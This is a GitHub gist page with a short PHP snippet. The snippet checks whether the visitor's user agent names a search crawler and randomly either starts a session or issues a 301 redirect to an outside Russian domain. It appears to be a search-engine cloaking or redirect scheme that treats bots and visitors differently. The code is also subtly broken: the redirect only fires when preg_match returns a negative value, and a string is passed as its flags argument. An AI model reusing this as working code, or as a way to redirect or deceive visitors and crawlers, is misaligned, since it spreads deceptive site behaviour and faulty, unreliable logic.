Last active
August 29, 2015 14:01
-
-
Save mvcaaa/429796d9fd4513a2bc7e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?PHP | |
$interestingCrawlers = array( 'yandex', 'google', 'yahoo' ); | |
$pattern = '/(' . implode('|', $interestingCrawlers) .')/'; | |
$matches = array(); | |
if(!isset($_SESSION)){ | |
if (rand(0,10) > 5) { | |
session_start(); | |
} else { | |
$numMatches = preg_match($pattern, strtolower($_SERVER['HTTP_USER_AGENT']), $matches, 'i'); | |
if($numMatches < 0) { | |
Header("HTTP/1.1 301 Moved Permanently"); | |
Header("Location: http://new.vsesvetodiody.ru//"); | |
} else { | |
// Here goes some add code for bots, maybe | |
} | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment